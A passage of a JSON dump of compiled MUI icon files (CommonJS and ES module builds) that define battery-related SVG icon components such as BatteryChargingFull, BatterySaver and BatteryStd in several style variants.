/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L12.47 8H7v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8h-4v4.5z\"\n  })]\n}), 'BatteryCharging90TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging90TwoTone.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h5.47L13 7v1h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L12.47 8H7v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8h-4v4.5z\"\n  })]\n}), 'BatteryCharging90TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryChargingFull.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M11 20v-5.5H9L13 7v5.5h2z\"\n}), 'BatteryChargingFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryChargingFull.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M11 20v-5.5H9L13 7v5.5h2z\"\n}), 'BatteryChargingFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryChargingFullOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M11 20v-5.5H9L13 7v5.5h2z\"\n}), 'BatteryChargingFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryChargingFullOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M11 20v-5.5H9L13 7v5.5h2z\"\n}), 'BatteryChargingFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryChargingFullRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.34 22h7.32c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4m-1.06 9.24-2.67 5c-.24.45-.94.28-.94-.24v-3.5H9.83c-.38 0-.62-.4-.44-.74l2.67-5c.24-.45.94-.28.94.24v3.5h1.17c.37 0 .62.4.44.74\"\n}), 'BatteryChargingFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryChargingFullRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.34 22h7.32c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4m-1.06 9.24-2.67 5c-.24.45-.94.28-.94-.24v-3.5H9.83c-.38 0-.62-.4-.44-.74l2.67-5c.24-.45.94-.28.94.24v3.5h1.17c.37 0 .62.4.44.74\"\n}), 'BatteryChargingFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryChargingFullSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4h-3V2h-4v2H7v18h10zm-6 16v-5.5H9L13 7v5.5h2z\"\n}), 'BatteryChargingFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryChargingFullSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4h-3V2h-4v2H7v18h10zm-6 16v-5.5H9L13 7v5.5h2z\"\n}), 'BatteryChargingFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryChargingFullTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M11 20v-5.5H9L13 7v5.5h2z\"\n}), 'BatteryChargingFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryChargingFullTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M11 20v-5.5H9L13 7v5.5h2z\"\n}), 'BatteryChargingFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryFull.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryFull.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryFullOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryFullOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryFullRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.34 22h7.32c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryFullRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.34 22h7.32c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryFullSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4h-3V2h-4v2H7v18h10z\"\n}), 'BatteryFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryFullSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4h-3V2h-4v2H7v18h10z\"\n}), 'BatteryFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryFullTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryFullTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatterySaver.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4h-2V2h-4v2H8c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1h8c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-1 10h-2v2h-2v-2H9v-2h2v-2h2v2h2z\"\n}), 'BatterySaver');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatterySaver.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4h-2V2h-4v2H8c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1h8c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-1 10h-2v2h-2v-2H9v-2h2v-2h2v2h2z\"\n}), 'BatterySaver');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatterySaverOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4h-2V2h-4v2H8c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1h8c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-1 10h-2v2h-2v-2H9v-2h2v-2h2v2h2z\"\n}), 'BatterySaverOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatterySaverOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4h-2V2h-4v2H8c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1h8c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-1 10h-2v2h-2v-2H9v-2h2v-2h2v2h2z\"\n}), 'BatterySaverOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatterySaverRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4h-2V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1h8c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-2 10h-1v1c0 .55-.45 1-1 1s-1-.45-1-1v-1h-1c-.55 0-1-.45-1-1s.45-1 1-1h1v-1c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'BatterySaverRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatterySaverRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4h-2V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1h8c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-2 10h-1v1c0 .55-.45 1-1 1s-1-.45-1-1v-1h-1c-.55 0-1-.45-1-1s.45-1 1-1h1v-1c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'BatterySaverRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatterySaverSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4h-3V2h-4v2H7v18h10zm-2 10h-2v2h-2v-2H9v-2h2v-2h2v2h2z\"\n}), 'BatterySaverSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatterySaverSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4h-3V2h-4v2H7v18h10zm-2 10h-2v2h-2v-2H9v-2h2v-2h2v2h2z\"\n}), 'BatterySaverSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatterySaverTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4h-2V2h-4v2H8c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1h8c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-1 10h-2v2h-2v-2H9v-2h2v-2h2v2h2z\"\n}), 'BatterySaverTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatterySaverTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4h-2V2h-4v2H8c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1h8c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-1 10h-2v2h-2v-2H9v-2h2v-2h2v2h2z\"\n}), 'BatterySaverTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryStd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryStd');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryStd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryStd');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryStdOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryStdOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryStdOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryStdOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryStdRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.34 22h7.32c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryStdRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryStdRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.34 22h7.32c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryStdRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryStdSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4h-3V2h-4v2H7v18h10z\"\n}), 'BatteryStdSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryStdSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4h-3V2h-4v2H7v18h10z\"\n}), 'BatteryStdSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryStdTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryStdTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryStdTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4\"\n}), 'BatteryStdTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryUnknown.js",
